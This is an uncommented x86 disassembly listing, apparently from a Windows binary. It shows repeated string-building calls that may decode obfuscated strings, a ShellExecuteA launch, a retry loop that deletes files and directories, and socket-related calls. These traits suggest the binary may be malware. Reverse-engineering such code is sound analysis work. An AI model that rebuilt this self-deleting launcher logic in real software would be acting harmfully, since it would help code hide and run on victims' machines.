mov cl, byte [esp + eax + 0x8c0]
mov byte [esp + eax + 0x7bc], cl
inc eax
test cl, cl
jne 0x805550
push 0x818234
call fcn.00801c20
add esp, 4
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x805572
lea edi, [esp + 0x7bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x805583
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [esp + 0x4b0]
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x8055a4
lea edi, [esp + 0x7bc]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x8055b7
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
lea eax, [esp + 0x8c4]
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x454]
push ecx
lea edx, [esp + 0x7c8]
push edx
push 0x818244
call fcn.00801c20
add esp, 4
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ebx, dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor esi, esi
jmp 0x805610
lea eax, [esp + 0x8c0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
test eax, eax
je 0x805647
lea ecx, [esp + 0x7bc]
push ecx
call edi
lea edx, [esp + 0x8c0]
push edx
call ebx
test eax, eax
jne 0x805647
push 0x1f4
call ebp
inc esi
cmp esi, 0x78
jl 0x805610
mov dword [esp + 0x24], 1
push 0x8180a4
call fcn.00801c20
push eax
push 0
call fcn.00807c9e
mov ebx, eax
add esp, 0xc
test ebx, ebx
jne 0x805232
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
cmp dword [esp + 0x24], 0
je 0x8057bc
push 0x81d598
push 0x818260
push 0x818268
lea eax, [esp + 0x2f0]
push eax
push 0x818270
call fcn.00801c20
add esp, 4
push eax
lea ecx, [esp + 0x7d0]
push ecx
call fcn.008079ed
add esp, 0x18
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor esi, esi
jmp 0x8056e0
push 0xf4240
push 0x7a120
push 1
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x7d0]
push 0
push ecx
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x805713
inc esi
cmp esi, 1
jl 0x8056e0
push 0
call ebp
push 0x8183a8
call fcn.00801c20
mov esi, dword [esp + 0x38]
push eax
push esi
call fcn.00814e4b
add esp, 0xc
test eax, eax
je 0x805873
push 0
push 1
push 0x8183cc
call fcn.00801c20
add esp, 4
push eax
push esi
lea edx, [esp + 0x22c]
push edx
push 0x8183e8
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
push 1
push str.fb__r
call fcn.00801c20
add esp, 4
push eax
push esi
lea eax, [esp + 0x22c]
push eax
push str.jb1_r
call fcn.00801c20
add esp, 4
push eax
push closesocket
call fcn.00802770
add esp, 0x1c
push 0
call ebp
jmp 0x805863
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0x81d598
push str.haha1
push str.4.b_n
lea ecx, [esp + 0x2f0]
push ecx
push 0x818468
call fcn.00801c20
add esp, 4
push eax
lea edx, [esp + 0x7d0]
push edx
call fcn.008079ed
add esp, 0x18
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
xor esi, esi
nop
push 0xf4240
push 0x7a120
push 1
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x30]
push ecx
lea edx, [esp + 0x7d0]
push 0
push edx
call fcn.00801e80
add esp, 0x1c
cmp eax, 1
je 0x805863
inc esi
cmp esi, 1
jl 0x805830
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
push 0
call ebp
mov ecx, dword [esp + 0x237c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0080700b
add esp, 0x2370
ret 0x10